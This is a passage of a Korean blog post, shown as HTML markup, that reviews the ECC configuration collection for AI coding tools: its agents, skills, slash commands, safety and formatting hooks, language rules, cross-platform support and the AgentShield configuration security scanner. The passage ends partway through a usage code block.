&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# agents/planner.md 예시
---
name: planner
description: Expert planning specialist for complex features
tools: [&quot;Read&quot;, &quot;Grep&quot;, &quot;Glob&quot;]
model: opus
---
구현 계획을 단계별로 수립합니다. 독립적으로 전달 가능한
단계로 나누고, 위험 요소를 식별합니다...&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;참고: model 프론트매터 우선순위&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;현재 Claude Code 공식 문서는 서브에이전트 frontmatter의 &lt;code&gt;model&lt;/code&gt; 필드를 지원한다. 다만 실제 실행 모델은 &lt;code&gt;CLAUDE_CODE_SUBAGENT_MODEL&lt;/code&gt; 환경 변수 &amp;rarr; 호출 시 전달한 model &amp;rarr; 에이전트 frontmatter의 &lt;code&gt;model&lt;/code&gt; &amp;rarr; 메인 대화 모델 순서로 결정된다. 즉, frontmatter만 믿기보다 상위 override가 있는지 함께 봐야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;에이전트는 크게 다음 카테고리로 분류된다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;카테고리&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;에이전트&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;기획/설계&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;planner (opus), architect (opus)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;코드 품질&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;code-reviewer (opus), refactor-cleaner, 언어별 리뷰어 8개 (TS, Python, Go, Rust, Java, Kotlin, C++, Flutter)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;빌드 에러&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;build-error-resolver, 언어별 빌드 리졸버 6개 (Go, Rust, Kotlin, Java, C++, PyTorch)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;보안/테스트&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;security-reviewer, tdd-guide, e2e-runner&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;운영/문서&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;loop-operator, harness-optimizer, chief-of-staff, doc-updater, docs-lookup, database-reviewer&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 1인 개발팀 예시&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;840&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ofI02/dJMcafzmiXm/XvNOZVHAkYeNv2AU9hA8v0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ofI02/dJMcafzmiXm/XvNOZVHAkYeNv2AU9hA8v0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ofI02/dJMcafzmiXm/XvNOZVHAkYeNv2AU9hA8v0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FofI02%2FdJMcafzmiXm%2FXvNOZVHAkYeNv2AU9hA8v0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1542&quot; height=&quot;840&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;840&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Skills &amp;mdash; 151개 워크플로우 스킬&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;스킬은 하위 디렉토리에 &lt;code&gt;SKILL.md&lt;/code&gt;로 구성되며, 도메인별로 분류된다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;핵심 워크플로우:&lt;/b&gt; tdd-workflow, security-review, verification-loop, search-first, eval-harness&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Python:&lt;/b&gt; python-patterns, python-testing, django-* (4개), pytorch-patterns&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;TypeScript/JS:&lt;/b&gt; coding-standards, frontend-patterns, bun-runtime, nextjs-turbopack&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Go:&lt;/b&gt; golang-patterns, golang-testing&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Java/Kotlin:&lt;/b&gt; java-coding-standards, jpa-patterns, springboot-* (4개), kotlin-* (5개)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Rust/C++/Swift:&lt;/b&gt; rust-patterns, cpp-coding-standards, swift-* (4개)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;AI/ML:&lt;/b&gt; cost-aware-llm-pipeline, prompt-optimizer, agentic-engineering&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;비즈니스:&lt;/b&gt; article-writing, market-research, investor-materials&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;search-first 스킬 주목&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;코딩 전 리서치&quot;를 체계화한 스킬이다. 5단계 워크플로우(니즈 분석 &amp;rarr; 병렬 검색 &amp;rarr; 평가 &amp;rarr; 결정 &amp;rarr; 구현)로, 기존 패키지나 MCP를 먼저 조사한 뒤 직접 구현 여부를 결정한다. &quot;바로 코드부터 작성하기&quot; 안티패턴을 방지한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;834&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FUjD9/dJMcaiv2gSB/PXbOE8n4uXHHopsDQoMoX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FUjD9/dJMcaiv2gSB/PXbOE8n4uXHHopsDQoMoX1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FUjD9/dJMcaiv2gSB/PXbOE8n4uXHHopsDQoMoX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFUjD9%2FdJMcaiv2gSB%2FPXbOE8n4uXHHopsDQoMoX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;834&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;834&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Commands &amp;mdash; 68개 레거시 슬래시 엔트리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;주요 명령어를 카테고리별로 정리하면:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;카테고리&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;명령어&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;개발&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/plan&lt;/code&gt;, &lt;code&gt;/tdd&lt;/code&gt;, &lt;code&gt;/e2e&lt;/code&gt;, &lt;code&gt;/code-review&lt;/code&gt;, &lt;code&gt;/build-fix&lt;/code&gt;, &lt;code&gt;/verify&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;언어별&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/go-review&lt;/code&gt;, &lt;code&gt;/python-review&lt;/code&gt;, &lt;code&gt;/rust-review&lt;/code&gt;, &lt;code&gt;/kotlin-review&lt;/code&gt;, &lt;code&gt;/cpp-review&lt;/code&gt; 등&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;학습/세션&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/learn&lt;/code&gt;, &lt;code&gt;/evolve&lt;/code&gt;, &lt;code&gt;/instinct-status&lt;/code&gt;, &lt;code&gt;/save-session&lt;/code&gt;, &lt;code&gt;/resume-session&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;멀티에이전트&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/multi-plan&lt;/code&gt;, &lt;code&gt;/multi-execute&lt;/code&gt;, &lt;code&gt;/orchestrate&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;품질/유틸&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/harness-audit&lt;/code&gt;, &lt;code&gt;/quality-gate&lt;/code&gt;, &lt;code&gt;/model-route&lt;/code&gt;, &lt;code&gt;/context-budget&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Hooks &amp;mdash; 자동화 훅 시스템&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC의 훅 시스템은 공개된 프로젝트 가운데 가장 정교한 구성에 속한다. 7개 이벤트 타입에 걸쳐 25개 이상의 훅이 작동한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1560&quot; data-origin-height=&quot;850&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/E4AqW/dJMcab4L2CL/wnwDDzyBwMJTP6cYpLUcl0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/E4AqW/dJMcab4L2CL/wnwDDzyBwMJTP6cYpLUcl0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/E4AqW/dJMcab4L2CL/wnwDDzyBwMJTP6cYpLUcl0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FE4AqW%2FdJMcab4L2CL%2FwnwDDzyBwMJTP6cYpLUcl0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1560&quot; height=&quot;850&quot; data-origin-width=&quot;1560&quot; data-origin-height=&quot;850&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;주요 훅 예시&lt;/h4&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;이벤트&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;훅&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;PreToolUse&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;block-no-verify&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;git commit에서 &lt;code&gt;--no-verify&lt;/code&gt; 사용 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;PreToolUse&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;config-protection&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;30개 이상의 린터/포맷터 설정 파일 수정 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;PreToolUse&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;mcp-health-check&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;비정상 MCP 서버 호출 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;PostToolUse&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;post-edit-format&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;JS/TS 파일 자동 포맷 (Biome 또는 Prettier)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;PostToolUse&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;post-edit-typecheck&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;.ts/.tsx 수정 후 TypeScript 타입 체크&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Stop&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;evaluate-session&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;세션에서 학습 가능한 패턴 추출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;SessionStart&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;session-start&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;이전 세션 컨텍스트 로딩, 패키지 매니저 감지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;프로파일 기반 제어&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;모든 훅은 &lt;code&gt;run-with-flags.js&lt;/code&gt;를 통해 실행되며, &lt;code&gt;ECC_HOOK_PROFILE&lt;/code&gt; 환경변수(&lt;code&gt;minimal&lt;/code&gt; / &lt;code&gt;standard&lt;/code&gt; / &lt;code&gt;strict&lt;/code&gt;)에 따라 활성화 여부가 결정된다. 팀이나 프로젝트 상황에 맞게 훅 강도를 조절할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Rules &amp;mdash; 12개 언어/생태계 규칙&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공통 규칙(&lt;code&gt;rules/common/&lt;/code&gt;)과 언어별 규칙이 분리되어 있다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;공통:&lt;/b&gt; security.md, coding-style.md, git-workflow.md, testing.md, performance.md, patterns.md, hooks.md, agents.md&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;언어/생태계별:&lt;/b&gt; TypeScript, Python, Go, Swift, PHP, Java, Kotlin, C++, Rust, Perl 등 폭넓은 규칙 세트를 제공한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5: 크로스 플랫폼 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 크로스 플랫폼 지원&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC의 특징 중 하나는 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;여러 AI 코딩 하네스를 가로지르는 설정/워크플로우를 제공&lt;/b&gt;&lt;/span&gt;한다는 점이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;플랫폼&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설정 디렉토리&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Claude Code&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;.claude/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;주요 타깃. 플러그인 시스템 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Codex (OpenAI)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;.codex/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;AGENTS.md, agents/, config.toml&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Cursor IDE&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;.cursor/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;hooks, rules, skills&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;OpenCode&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;.opencode/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;12 에이전트, 24 커맨드, 16 스킬, 3 네이티브 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Gemini CLI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;.gemini/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;실험적 project-local 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Antigravity&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;--target antigravity&lt;/code&gt; 플래그&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6: AgentShield --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. AgentShield &amp;mdash; 보안 스캐너&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AgentShield는 Cerebral Valley x Anthropic 해커톤에서 탄생한 독립 npm 패키지(&lt;code&gt;ecc-agentshield&lt;/code&gt;)다. AI 에이전트 설정의 보안 취약점을 스캔한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1498&quot; data-origin-height=&quot;794&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZqnmW/dJMcadnXvKQ/S1q5ZIKANQE6vMQABUukFK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZqnmW/dJMcadnXvKQ/S1q5ZIKANQE6vMQABUukFK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZqnmW/dJMcadnXvKQ/S1q5ZIKANQE6vMQABUukFK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZqnmW%2FdJMcadnXvKQ%2FS1q5ZIKANQE6vMQABUukFK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1498&quot; height=&quot;794&quot; data-origin-width=&quot;1498&quot; data-origin-height=&quot;794&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;주요 기능&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;5개 스캔 카테고리:&lt;/b&gt; 시크릿 탐지(14개 패턴), 권한 감사, 훅 인젝션 분석, MCP 서버 위험 프로파일링, 에이전트 설정 검토&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;102개 정적 분석 규칙&lt;/b&gt;과 &lt;b&gt;1,282개 테스트&lt;/b&gt; (98% 커버리지)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;--opus 플래그:&lt;/b&gt; 3개의 Claude Opus 에이전트가 레드팀/블루팀/감사자 파이프라인으로 심층 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;CI 통합:&lt;/b&gt; 치명적 발견 시 종료 코드 2를 반환하여 빌드 게이트로 사용 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사용법&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 기본 스캔
npx ecc-agentshield scan

# 자동 수정 포함 스캔
